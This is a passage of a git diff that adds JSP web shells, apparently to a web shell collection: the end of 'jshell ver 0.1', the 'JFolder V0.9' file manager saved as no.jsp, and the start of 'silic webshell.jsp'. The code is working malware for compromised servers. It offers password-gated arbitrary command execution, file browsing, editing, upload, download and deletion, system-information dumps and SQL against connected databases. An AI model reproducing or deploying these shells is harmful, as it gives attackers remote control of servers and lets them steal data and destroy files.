tmpFileTypes += "\"" + _textFileTypes[i] + "\""; + } + + p = Pattern.compile(tmpFileTypes); + m = p.matcher(_jshellContent); + + if (! m.find()) { + throw new JshellConfigException("程序文件已经被非法修改"); + } + + _jshellContent = m.replaceAll(fileTypes); + + //return HTMLEncode(_jshellContent); + } + + public String getContent() { + return HTMLEncode(_jshellContent); + } +} + +class JshellConfigException extends Exception { + public JshellConfigException(String message) { + super(message); + } +} +%> + + +jshell ver 0.1 + + + + +<% +session.setMaxInactiveInterval(_sessionOutTime * 60); + +if (request.getParameter("password") == null && session.getAttribute("password") == null) { +// show the login form +//================================================================================================ +%> + + + + + + + + + + +
    JShell Ver 1.0
    密码: + + +
    +<% +//================================================================================================ +// end of the login form +} else { + String password = null; + + if (session.getAttribute("password") == null) { + password = (String)request.getParameter("password"); + + if (validate(password) == false) { + out.println("
  • 密码错误!
  • "); + out.close(); + return; + } + + session.setAttribute("password", password); + } else { + password = (String)session.getAttribute("password"); + } + + String action = null; + + if (request.getParameter("action") == null) + action = "main"; + else + action = (String)request.getParameter("action"); + + if (action.equals("exit")) { + session.removeAttribute("password"); + response.sendRedirect(request.getRequestURI()); + out.close(); + return; + } + +// show the main menu +//==================================================================================== +%> + + + + + + + +
    + + +
    +<% +//===================================================================================== +// end of main menu + + if (action.equals("main")) { +// print the system info table +//======================================================================================= +%> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    服务器信息
    服务器名<%=request.getServerName()%>
    服务器端口<%=request.getServerPort()%>
    操作系统<%=System.getProperty("os.name") + " " + System.getProperty("os.version") + " " + System.getProperty("os.arch")%>
    当前用户名<%=System.getProperty("user.name")%>
    当前用户目录<%=System.getProperty("user.home")%>
    当前用户工作目录<%=System.getProperty("user.dir")%>
    程序相对路径<%=request.getRequestURI()%>
    程序绝对路径<%=request.getRealPath(request.getServletPath())%>
    网络协议<%=request.getProtocol()%>
    服务器软件版本信息<%=application.getServerInfo()%>
    JDK版本<%=System.getProperty("java.version")%>
    JDK安装路径<%=System.getProperty("java.home")%>
    JAVA虚拟机版本<%=System.getProperty("java.vm.specification.version")%>
    JAVA虚拟机名<%=System.getProperty("java.vm.name")%>
    JAVA类路径<%=System.getProperty("java.class.path")%>
    JAVA载入库搜索路径<%=System.getProperty("java.library.path")%>
    JAVA临时目录<%=System.getProperty("java.io.tmpdir")%>
    JIT编译器名<%=System.getProperty("java.compiler") == null ? "" : System.getProperty("java.compiler")%>
    扩展目录路径<%=System.getProperty("java.ext.dirs")%>
    客户端信息
    客户机地址<%=request.getRemoteAddr()%>
    服务机器名<%=request.getRemoteHost()%>
    用户名<%=request.getRemoteUser() == null ? "" : request.getRemoteUser()%>
    请求方式<%=request.getScheme()%>
    应用安全套接字层<%=request.isSecure() == true ? "是" : "否"%>
    +<% +//======================================================================================= +// end of printing the system info table +///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("filesystem")) { + String curPath = ""; + String result = ""; + String fsAction = ""; + + if (request.getParameter("curPath") == null) { + curPath = request.getRealPath(request.getServletPath()); + curPath = pathConvert((new File(curPath)).getParent()); + } else { + curPath = Unicode2GB((String)request.getParameter("curPath")); + } + + if (request.getParameter("fsAction") == null) { + fsAction = "list"; + } else { + fsAction = (String)request.getParameter("fsAction"); + } + + if (fsAction.equals("list")) + result = listFiles(curPath, request.getRequestURI() + "?action=" + action); + else if (fsAction.equals("browse")) { + result = listFiles(new File(curPath).getParent(), request.getRequestURI() + "?action=" + action); + result += browseFile(curPath); + } + else if (fsAction.equals("open")) + result = openFile(curPath, request.getRequestURI() + "?action=" + action); + else if (fsAction.equals("save")) { + if (request.getParameter("fileContent") == null) { + result = "页面导航错误"; + } else { + String fileContent = Unicode2GB((String)request.getParameter("fileContent")); + result = saveFile(curPath, request.getRequestURI() + "?action=" + action, fileContent); + } + } else if (fsAction.equals("createFolder")) { + if (request.getParameter("folderName") == null) { + result = "目录名不能为空"; + } else { + String folderName = Unicode2GB(request.getParameter("folderName").trim()); + if (folderName.equals("")) { + result = "目录名不能为空"; + } else { + result = createFolder(curPath, request.getRequestURI() + "?action=" + action, folderName); + } + } + } else if (fsAction.equals("createFile")) { + if (request.getParameter("fileName") == null) { + result = "文件名不能为空"; + } else { + String fileName = Unicode2GB(request.getParameter("fileName").trim()); + if (fileName.equals("")) { + result = "文件名不能为空"; + } else { + result = createFile(curPath, request.getRequestURI() + "?action=" + action, fileName); + } + } + } else if (fsAction.equals("deleteFile")) { + if (request.getParameter("filesDelete") == null) { + result = "没有选择要删除的文件"; + } else { + String[] files2Delete = (String[])request.getParameterValues("filesDelete"); + if (files2Delete.length == 0) { + result = "没有选择要删除的文件"; + } else { + for (int n = 0; n < files2Delete.length; n ++) { + files2Delete[n] = Unicode2GB(files2Delete[n]); + } + result = deleteFile(curPath, request.getRequestURI() + "?action=" + action, files2Delete); + } + } + } else if (fsAction.equals("saveAs")) { + if (request.getParameter("fileContent") == null) { + result = "页面导航错误"; + } else { + String fileContent = Unicode2GB(request.getParameter("fileContent")); + result = saveAs(curPath, request.getRequestURI() + "?action=" + action, fileContent); + } + } else if (fsAction.equals("upload")) { + result = uploadFile(request, curPath, request.getRequestURI() + "?action=" + action); + } else if (fsAction.equals("copyto")) { + if (request.getParameter("filesDelete") == null || request.getParameter("dstPath") == null) { + result = "没有选择要复制的文件"; + } else { + String[] files2Copy = request.getParameterValues("filesDelete"); + String dstPath = request.getParameter("dstPath").trim(); + if (files2Copy.length == 0) { + result = "没有选择要复制的文件"; + } else if (dstPath.equals("")) { + result = "没有填写要复制到的目录路径"; + } else { + for (int i = 0; i < files2Copy.length; i ++) + files2Copy[i] = Unicode2GB(files2Copy[i]); + + result = copyFiles(curPath, request.getRequestURI() + "?action=" + action, files2Copy, Unicode2GB(dstPath)); + } + } + } else if (fsAction.equals("rename")) { + if (request.getParameter("fileRename") == null) { + result = "页面导航错误"; + } else { + String file2Rename = request.getParameter("fileRename").trim(); + String newName = request.getParameter("newName").trim(); + if (file2Rename.equals("")) { + result = "没有选择要重命名的文件"; + } else if (newName.equals("")) { + result = "没有填写新文件名"; + } else { + result = renameFile(curPath, request.getRequestURI() + "?action=" + action, Unicode2GB(file2Rename), Unicode2GB(newName)); + } + } + } +%> + + + + + + + + + +
    地址 +
    <%= result.trim().equals("")?" " : result%>
    +<% +///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("command")) { + String cmd = ""; + InputStream ins = null; + String result = ""; + + if (request.getParameter("command") != null) { + cmd = (String)request.getParameter("command"); + result = exeCmd(cmd); + } +// print the command form +//======================================================================================== +%> + + + + + + + + + + + + +
    执行命令
    + + +
    执行结果
    + + + + +
    <%=result == "" ? " " : result%>
    +<% +//========================================================================================= +// end of printing command form +/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("database")) { + String dbAction = ""; + String result = ""; + String dbType = ""; + String dbServer = ""; + String dbPort = ""; + String dbUsername = ""; + String dbPassword = ""; + String dbName = ""; + String dbResult = ""; + String sql = ""; + + if (request.getParameter("dbAction") == null) { + dbAction = "main"; + } else { + dbAction = request.getParameter("dbAction").trim(); + if (dbAction.equals("")) + dbAction = "main"; + } + + if (dbAction.equals("main")) { + result = " "; + } else if (dbAction.equals("dbConnect")) { + if (request.getParameter("dbType") == null || + request.getParameter("dbServer") == null || + request.getParameter("dbPort") == null || + request.getParameter("dbUsername") == null || + request.getParameter("dbPassword") == null || + request.getParameter("dbName") == null) { + response.sendRedirect(request.getRequestURI() + "?action=" + action); + } else { + dbType = request.getParameter("dbType").trim(); + dbServer = request.getParameter("dbServer").trim(); + dbPort = request.getParameter("dbPort").trim(); + dbUsername = request.getParameter("dbUsername").trim(); + dbPassword = request.getParameter("dbPassword").trim(); + dbName = request.getParameter("dbName").trim(); + + if (DBInit(dbType, dbServer, dbPort, dbUsername, dbPassword, dbName)) { + if (DBConnect(dbUsername, dbPassword)) { + if (request.getParameter("sql") != null) { + sql = request.getParameter("sql").trim(); + if (! sql.equals("")) { + dbResult = DBExecute(sql); + } + } + + result = "\n"; + result += "sql语句

     \n"; + + DBRelease(); + } else { + result = "数据库连接失败"; + } + } else { + result = "数据库连接驱动没有找到"; + } + } + } +%> + + + "> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    数据库连接类型 + + +
    数据库服务器地址
    数据库服务器端口
    数据库用户名
    数据库密码
    数据库名
    <%=result%>
    + + + + +
    + <%=dbResult%> +
    +<% + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("config")) { + String cfAction = ""; + int i; + + if (request.getParameter("cfAction") == null) { + cfAction = "main"; + } else { + cfAction = request.getParameter("cfAction").trim(); + if (cfAction.equals("")) + cfAction = "main"; + } + + if (cfAction.equals("main")) { +// start of config form +//========================================================================================== +%> + + + " onSubmit="javascript:selectAllTypes()"> + + + + + + + + + + + + + + + + + + + + +
    密码
    系统编码
    Session超时时间
    可编辑文件类型 + + + + + + +
    + + + +

    + +
    + +
    +
    +<% + } else if (cfAction.equals("save")) { + if (request.getParameter("password") == null || + request.getParameter("encode") == null || + request.getParameter("sessionTime") == null || + request.getParameterValues("textFileTypes") == null) { + response.sendRedirect(request.getRequestURI()); + } + + String result = ""; + + String newPassword = request.getParameter("password").trim(); + String newEncodeType = request.getParameter("encode").trim(); + String newSessionTime = request.getParameter("sessionTime").trim(); + String[] newTextFileTypes = request.getParameterValues("textFileTypes"); + String jshellPath = request.getRealPath(request.getServletPath()); + + try { + JshellConfig jconfig = new JshellConfig(jshellPath); + jconfig.setPassword(newPassword); + jconfig.setEncodeType(newEncodeType); + jconfig.setSessionTime(newSessionTime); + jconfig.setTextFileTypes(newTextFileTypes); + jconfig.save(); + result += "设置保存成功,正在返回,请稍候……"; + result += ""; + } catch (JshellConfigException e) { + result = "" + e.getMessage() + ""; + } + +%> + + + + +
    <%=result == "" ? " " : result%>
    +<% + } +////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +//========================================================================================== +// end of config form + } else if (action.equals("about")) { +// start of about +//========================================================================================== +%> + + + + + + + + + + +
    关于 jshell ver 0.1
    Jshell是一个简单的jsp的Web Shell,功能很简单。这个程序是我这几天上课空闲时间里没是干写着玩的,慢慢的也有了点雏形,就拿出来希望对你有点用处。程序本身很乱,可读性不好,不过还是欢迎有兴趣的朋友和我交流。
    created by luoluo and welcome to 幻影旅团
    +<% +//========================================================================================== + } +} +%> + + + \ No newline at end of file diff --git a/jsp/no.jsp b/jsp/no.jsp new file mode 100644 index 0000000..3154e83 --- /dev/null +++ b/jsp/no.jsp @@ -0,0 +1,995 @@ +<% +/** +JFolder V0.9 windows platform +@Filename: JFolder.jsp +@Description: 一个简单的系统文件目录显示程序,类似于资源管理器,提供基本的文件操作,不过功能弱多了。 +@Author: Steven Cee +@Email : cqq1978@Gmail.com +@Bugs : 下载时,中文文件名无法正常显示 +*/ +%> +<%@ page contentType="text/html;charset=gb2312"%> +<%@page import="java.io.*,java.util.*,java.net.*" %> +<%! +private final static int languageNo=0; //语言版本,0 : 中文; 1:英文 +String strThisFile="JFolder.jsp"; +String[] authorInfo={" 写的不好,将就着用吧 - - by 慈勤强 http://www.topronet.com "," Thanks for your support - - by Steven Cee http://www.topronet.com "}; +String[] strFileManage = {"文 件 管 理","File Management"}; +String[] strCommand = {"CMD 命 令","Command Window"}; +String[] strSysProperty = {"系 统 属 性","System Property"}; +String[] strHelp = {"帮 助","Help"}; +String[] strParentFolder = {"上级目录","Parent Folder"}; +String[] strCurrentFolder= {"当前目录","Current Folder"}; +String[] strDrivers = {"驱动器","Drivers"}; +String[] strFileName = {"文件名称","File Name"}; +String[] strFileSize = {"文件大小","File Size"}; +String[] strLastModified = {"最后修改","Last Modified"}; +String[] strFileOperation= {"文件操作","Operations"}; +String[] strFileEdit = {"修改","Edit"}; +String[] strFileDown = {"下载","Download"}; +String[] strFileCopy = {"复制","Move"}; +String[] strFileDel = {"删除","Delete"}; +String[] strExecute = {"执行","Execute"}; +String[] strBack = {"返回","Back"}; +String[] strFileSave = {"保存","Save"}; + +public class FileHandler +{ + private String strAction=""; + private String strFile=""; + void FileHandler(String action,String f) + { + + } +} + +public static class UploadMonitor { + + static Hashtable uploadTable = new Hashtable(); + + static void set(String fName, UplInfo info) { + uploadTable.put(fName, info); + } + + static void remove(String fName) { + uploadTable.remove(fName); + } + + static UplInfo getInfo(String fName) { + UplInfo info = (UplInfo) uploadTable.get(fName); + return info; + } +} + +public class UplInfo { + + public long totalSize; + public long currSize; + public long starttime; + public boolean aborted; + + public UplInfo() { + totalSize = 0l; + currSize = 0l; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public UplInfo(int size) { + totalSize = size; + currSize = 0; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public String getUprate() { + long time = System.currentTimeMillis() - starttime; + if (time != 0) { + long uprate = currSize * 1000 / time; + return convertFileSize(uprate) + "/s"; + } + else return "n/a"; + } + + public int getPercent() { + if (totalSize == 0) return 0; + else return (int) (currSize * 100 / totalSize); + } + + public String getTimeElapsed() { + long time = (System.currentTimeMillis() - starttime) / 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + public String getTimeEstimated() { + if (currSize == 0) return "n/a"; + long time = System.currentTimeMillis() - starttime; + time = totalSize * time / currSize; + time /= 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + } + + public class FileInfo { + + public String name = null, clientFileName = null, fileContentType = null; + private byte[] fileContents = null; + public File file = null; + public StringBuffer sb = new StringBuffer(100); + + public void setFileContents(byte[] aByteArray) { + fileContents = new byte[aByteArray.length]; + System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); + } +} + +// A Class with methods used to process a ServletInputStream +public class HttpMultiPartParser { + + private final String lineSeparator = System.getProperty("line.separator", "\n"); + private final int ONE_MB = 1024 * 1; + + public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, + int clength) throws IllegalArgumentException, IOException { + if (is == null) throw new IllegalArgumentException("InputStream"); + if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( + "\"" + boundary + "\" is an illegal boundary indicator"); + boundary = "--" + boundary; + StringTokenizer stLine = null, stFields = null; + FileInfo fileInfo = null; + Hashtable dataTable = new Hashtable(5); + String line = null, field = null, paramName = null; + boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); + boolean isFile = false; + if (saveFiles) { // Create the required directory (including parent dirs) + File f = new File(saveInDir); + f.mkdirs(); + } + line = getLine(is); + if (line == null || !line.startsWith(boundary)) throw new IOException( + "Boundary not found; boundary = " + boundary + ", line = " + line); + while (line != null) { + if (line == null || !line.startsWith(boundary)) return dataTable; + line = getLine(is); + if (line == null) return dataTable; + stLine = new StringTokenizer(line, ";\r\n"); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + line = stLine.nextToken().toLowerCase(); + if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( + "Bad data in second line"); + stFields = new StringTokenizer(stLine.nextToken(), "=\""); + if (stFields.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + fileInfo = new FileInfo(); + stFields.nextToken(); + paramName = stFields.nextToken(); + isFile = false; + if (stLine.hasMoreTokens()) { + field = stLine.nextToken(); + stFields = new StringTokenizer(field, "=\""); + if (stFields.countTokens() > 1) { + if (stFields.nextToken().trim().equalsIgnoreCase("filename")) { + fileInfo.name = paramName; + String value = stFields.nextToken(); + if (value != null && value.trim().length() > 0) { + fileInfo.clientFileName = value; + isFile = true; + } + else { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + } + else if (field.toLowerCase().indexOf("filename") >= 0) { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + boolean skipBlankLine = true; + if (isFile) { + line = getLine(is); + if (line == null) return dataTable; + if (line.trim().length() < 1) skipBlankLine = false; + else { + stLine = new StringTokenizer(line, ": "); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in third line"); + stLine.nextToken(); // Content-Type + fileInfo.fileContentType = stLine.nextToken(); + } + } + if (skipBlankLine) { + line = getLine(is); + if (line == null) return dataTable; + } + if (!isFile) { + line = getLine(is); + if (line == null) return dataTable; + dataTable.put(paramName, line); + // If parameter is dir, change saveInDir to dir + if (paramName.equals("dir")) saveInDir = line; + line = getLine(is); + continue; + } + try { + UplInfo uplInfo = new UplInfo(clength); + UploadMonitor.set(fileInfo.clientFileName, uplInfo); + OutputStream os = null; + String path = null; + if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, + fileInfo.clientFileName)); + else os = new ByteArrayOutputStream(ONE_MB); + boolean readingContent = true; + byte previousLine[] = new byte[2 * ONE_MB]; + byte temp[] = null; + byte currentLine[] = new byte[2 * ONE_MB]; + int read, read3; + if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { + line = null; + break; + } + while (readingContent) { + if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { + line = null; + uplInfo.aborted = true; + break; + } + if (compareBoundary(boundary, currentLine)) { + os.write(previousLine, 0, read - 2); + line = new String(currentLine, 0, read3); + break; + } + else { + os.write(previousLine, 0, read); + uplInfo.currSize += read; + temp = currentLine; + currentLine = previousLine; + previousLine = temp; + read = read3; + }//end else + }//end while + os.flush(); + os.close(); + if (!saveFiles) { + ByteArrayOutputStream baos = (ByteArrayOutputStream) os; + fileInfo.setFileContents(baos.toByteArray()); + } + else fileInfo.file = new File(path); + dataTable.put(paramName, fileInfo); + uplInfo.currSize = uplInfo.totalSize; + }//end try + catch (IOException e) { + throw e; + } + } + return dataTable; + } + + /** + * Compares boundary string to byte array + */ + private boolean compareBoundary(String boundary, byte ba[]) { + byte b; + if (boundary == null || ba == null) return false; + for (int i = 0; i < boundary.length(); i++) + if ((byte) boundary.charAt(i) != ba[i]) return false; + return true; + } + + /** Convenience method to read HTTP header lines */ + private synchronized String getLine(ServletInputStream sis) throws IOException { + byte b[] = new byte[1024]; + int read = sis.readLine(b, 0, b.length), index; + String line = null; + if (read != -1) { + line = new String(b, 0, read); + if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); + } + return line; + } + + public String getFileName(String dir, String fileName) throws IllegalArgumentException { + String path = null; + if (dir == null || fileName == null) throw new IllegalArgumentException( + "dir or fileName is null"); + int index = fileName.lastIndexOf('/'); + String name = null; + if (index >= 0) name = fileName.substring(index + 1); + else name = fileName; + index = name.lastIndexOf('\\'); + if (index >= 0) fileName = name.substring(index + 1); + path = dir + File.separator + fileName; + if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); + else return path.replace('/', File.separatorChar); + } +} //End of class HttpMultiPartParser + +String formatPath(String p) +{ + StringBuffer sb=new StringBuffer(); + for (int i = 0; i < p.length(); i++) + { + if(p.charAt(i)=='\\') + { + sb.append("\\\\"); + } + else + { + sb.append(p.charAt(i)); + } + } + return sb.toString(); +} + + /** + * Converts some important chars (int) to the corresponding html string + */ + static String conv2Html(int i) { + if (i == '&') return "&"; + else if (i == '<') return "<"; + else if (i == '>') return ">"; + else if (i == '"') return """; + else return "" + (char) i; + } + + /** + * Converts a normal string to a html conform string + */ + static String htmlEncode(String st) { + StringBuffer buf = new StringBuffer(); + for (int i = 0; i < st.length(); i++) { + buf.append(conv2Html(st.charAt(i))); + } + return buf.toString(); + } +String getDrivers() +/** +Windows系统上取得可用的所有逻辑盘 +*/ +{ + StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : "); + File roots[]=File.listRoots(); + for(int i=0;i"); + sb.append(roots[i]+" "); + } + return sb.toString(); +} +static String convertFileSize(long filesize) +{ + //bug 5.09M 显示5.9M + String strUnit="Bytes"; + String strAfterComma=""; + int intDivisor=1; + if(filesize>=1024*1024) + { + strUnit = "MB"; + intDivisor=1024*1024; + } + else if(filesize>=1024) + { + strUnit = "KB"; + intDivisor=1024; + } + if(intDivisor==1) return filesize + " " + strUnit; + strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ; + if(strAfterComma=="") strAfterComma=".0"; + return filesize / intDivisor + "." + strAfterComma + " " + strUnit; +} +%> +<% +request.setCharacterEncoding("gb2312"); +String tabID = request.getParameter("tabID"); +String strDir = request.getParameter("path"); +String strAction = request.getParameter("action"); +String strFile = request.getParameter("file"); +String strPath = strDir + "\\" + strFile; +String strCmd = request.getParameter("cmd"); +StringBuffer sbEdit=new StringBuffer(""); +StringBuffer sbDown=new StringBuffer(""); +StringBuffer sbCopy=new StringBuffer(""); +StringBuffer sbSaveCopy=new StringBuffer(""); +StringBuffer sbNewFile=new StringBuffer(""); + +if((tabID==null) || tabID.equals("")) +{ + tabID = "1"; +} + +if(strDir==null||strDir.length()<1) +{ + strDir = request.getRealPath("/"); +} + + +if(strAction!=null && strAction.equals("down")) +{ + File f=new File(strPath); + if(f.length()==0) + { + sbDown.append("文件大小为 0 字节,就不用下了吧"); + } + else + { + response.setHeader("content-type","text/html; charset=ISO-8859-1"); + response.setContentType("APPLICATION/OCTET-STREAM"); + response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\""); + FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath()); + out.clearBuffer(); + int i; + while ((i=fileInputStream.read()) != -1) + { + out.write(i); + } + fileInputStream.close(); + out.close(); + } +} + +if(strAction!=null && strAction.equals("del")) +{ + File f=new File(strPath); + f.delete(); +} + +if(strAction!=null && strAction.equals("edit")) +{ + File f=new File(strPath); + BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f))); + sbEdit.append("
    \r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append(" "); + sbEdit.append("  "+strPath+"\r\n"); + sbEdit.append("
    "); + sbEdit.append(""); + sbEdit.append("
    "); +} + +if(strAction!=null && strAction.equals("save")) +{ + File f=new File(strPath); + BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f))); + String strContent=request.getParameter("content"); + bw.write(strContent); + bw.close(); +} +if(strAction!=null && strAction.equals("copy")) +{ + File f=new File(strPath); + sbCopy.append("
    \r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("原始文件: "+strPath+"

    "); + sbCopy.append("目标文件:

    "); + sbCopy.append(" "); + sbCopy.append("

     \r\n"); + sbCopy.append("

    "); +} +if(strAction!=null && strAction.equals("savecopy")) +{ + File f=new File(strPath); + String strDesFile=request.getParameter("file2"); + if(strDesFile==null || strDesFile.equals("")) + { + sbSaveCopy.append("

    目标文件错误。"); + } + else + { + File f_des=new File(strDesFile); + if(f_des.isFile()) + { + sbSaveCopy.append("

    目标文件已存在,不能复制。"); + } + else + { + String strTmpFile=strDesFile; + if(f_des.isDirectory()) + { + if(!strDesFile.endsWith("\\")) + { + strDesFile=strDesFile+"\\"; + } + strTmpFile=strDesFile+"cqq_"+strFile; + } + + File f_des_copy=new File(strTmpFile); + FileInputStream in1=new FileInputStream(f); + FileOutputStream out1=new FileOutputStream(f_des_copy); + byte[] buffer=new byte[1024]; + int c; + while((c=in1.read(buffer))!=-1) + { + out1.write(buffer,0,c); + } + in1.close(); + out1.close(); + + sbSaveCopy.append("原始文件 :"+strPath+"

    "); + sbSaveCopy.append("目标文件 :"+strTmpFile+"

    "); + sbSaveCopy.append("复制成功!"); + } + } + sbSaveCopy.append("

    "); +} +if(strAction!=null && strAction.equals("newFile")) +{ + String strF=request.getParameter("fileName"); + String strType1=request.getParameter("btnNewFile"); + String strType2=request.getParameter("btnNewDir"); + String strType=""; + if(strType1==null) + { + strType="Dir"; + } + else if(strType2==null) + { + strType="File"; + } + if(!strType.equals("") && !(strF==null || strF.equals(""))) + { + File f_new=new File(strF); + if(strType.equals("File") && !f_new.createNewFile()) + sbNewFile.append(strF+" 文件创建失败"); + if(strType.equals("Dir") && !f_new.mkdirs()) + sbNewFile.append(strF+" 目录创建失败"); + } + else + { + sbNewFile.append("

    建立文件或目录出错。"); + } +} + +if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart"))) +{ + String tempdir="."; + boolean error=false; + response.setContentType("text/html"); + sbNewFile.append("

    建立文件或目录出错。"); + HttpMultiPartParser parser = new HttpMultiPartParser(); + + int bstart = request.getContentType().lastIndexOf("oundary="); + String bound = request.getContentType().substring(bstart + 8); + int clength = request.getContentLength(); + Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength); + if (ht.get("cqqUploadFile") != null) + { + + FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); + File f1 = fi.file; + UplInfo info = UploadMonitor.getInfo(fi.clientFileName); + if (info != null && info.aborted) + { + f1.delete(); + request.setAttribute("error", "Upload aborted"); + } + else + { + String path = (String) ht.get("path"); + if(path!=null && !path.endsWith("\\")) + path = path + "\\"; + if (!f1.renameTo(new File(path + f1.getName()))) + { + request.setAttribute("error", "Cannot upload file."); + error = true; + f1.delete(); + } + } + } +} +%> + + + + + + + +JFoler 0.9 ---A jsp based web folder management tool by Steven Cee + + + + + +

    + + + + + + +
    + + + + + + +<% +StringBuffer sbFolder=new StringBuffer(""); +StringBuffer sbFile=new StringBuffer(""); +try +{ + File objFile = new File(strDir); + File list[] = objFile.listFiles(); + if(objFile.getAbsolutePath().length()>3) + { + sbFolder.append(" "); + sbFolder.append(strParentFolder[languageNo]+"
    - - - - - - - - - - - \r\n "); + + + } + for(int i=0;i "); + sbFolder.append(" "); + sbFolder.append(list[i].getName()+"
    "); + } + else + { + String strLen=""; + String strDT=""; + long lFile=0; + lFile=list[i].length(); + strLen = convertFileSize(lFile); + Date dt=new Date(list[i].lastModified()); + strDT=dt.toLocaleString(); + sbFile.append(""); + sbFile.append(""+list[i].getName()); + sbFile.append(""); + sbFile.append(""+strLen); + sbFile.append(""); + sbFile.append(""+strDT); + sbFile.append(""); + + sbFile.append("  "); + sbFile.append(strFileEdit[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileDel[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileDown[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileCopy[languageNo]+" "); + } + + } +} +catch(Exception e) +{ + out.println("操作失败: "+e.toString()+""); +} +%> + +
    + + + + + + + + + +
    +

    +
    www.topronet.com ,All Rights Reserved. +
    Any question, please email me cqq1978@Gmail.com + diff --git a/jsp/silic webshell.jsp b/jsp/silic webshell.jsp new file mode 100644 index 0000000..a4ce98c --- /dev/null +++ b/jsp/silic webshell.jsp @@ -0,0 +1,844 @@ +<%@ page contentType="text/html;charset=gb2312"%> +<%@page import="java.io.*,java.util.*,java.net.*" %> +<%! +private final static int languageNo=0; +String strThisFile="JFolder.jsp"; +String[] authorInfo={"Silic Group"}; +String[] strFileManage = {"文 件 管 理","File Management"}; +String[] strCommand = {"CMD 命 令","Command Window"}; +String[] strSysProperty = {"系 统 属 性","System Property"}; +String[] strHelp = {"帮 助","Help"}; +String[] strParentFolder = {"上级目录","Parent Folder"}; +String[] strCurrentFolder= {"当前目录","Current Folder"}; +String[] strDrivers = {"驱动器","Drivers"}; +String[] strFileName = {"文件名称","File Name"}; +String[] strFileSize = {"文件大小","File Size"}; +String[] strLastModified = {"最后修改","Last Modified"}; +String[] strFileOperation= {"文件操作","Operations"}; +String[] strFileEdit = {"修改","Edit"}; +String[] strFileDown = {"下载","Download"}; +String[] strFileCopy = {"复制","Move"}; +String[] strFileDel = {"删除","Delete"}; +String[] strExecute = {"执行","Execute"}; +String[] strBack = {"返回","Back"}; +String[] strFileSave = {"保存","Save"}; +public class FileHandler +{ + private String strAction=""; + private String strFile=""; + void FileHandler(String action,String f) + { + } +} +public static class UploadMonitor { + static Hashtable uploadTable = new Hashtable(); + static void set(String fName, UplInfo info) { + uploadTable.put(fName, info); + } + static void remove(String fName) { + uploadTable.remove(fName); + } + static UplInfo getInfo(String fName) { + UplInfo info = (UplInfo) uploadTable.get(fName); + return info; + } +} +public class UplInfo { + public long totalSize; + public long currSize; + public long starttime; + public boolean aborted; + public UplInfo() { + totalSize = 0l; + currSize = 0l; + starttime = System.currentTimeMillis(); + aborted = false; + } + public UplInfo(int size) { + totalSize = size; + currSize = 0; + starttime = System.currentTimeMillis(); + aborted = false; + } + public String getUprate() { + long time = System.currentTimeMillis() - starttime; + if (time != 0) { + long uprate = currSize * 1000 / time; + return convertFileSize(uprate) + "/s"; + } + else return "n/a"; + } + public int getPercent() { + if (totalSize == 0) return 0; + else return (int) (currSize * 100 / totalSize); + } + public String getTimeElapsed() { + long time = (System.currentTimeMillis() - starttime) / 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + public String getTimeEstimated() { + if (currSize == 0) return "n/a"; + long time = System.currentTimeMillis() - starttime; + time = totalSize * time / currSize; + time /= 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + 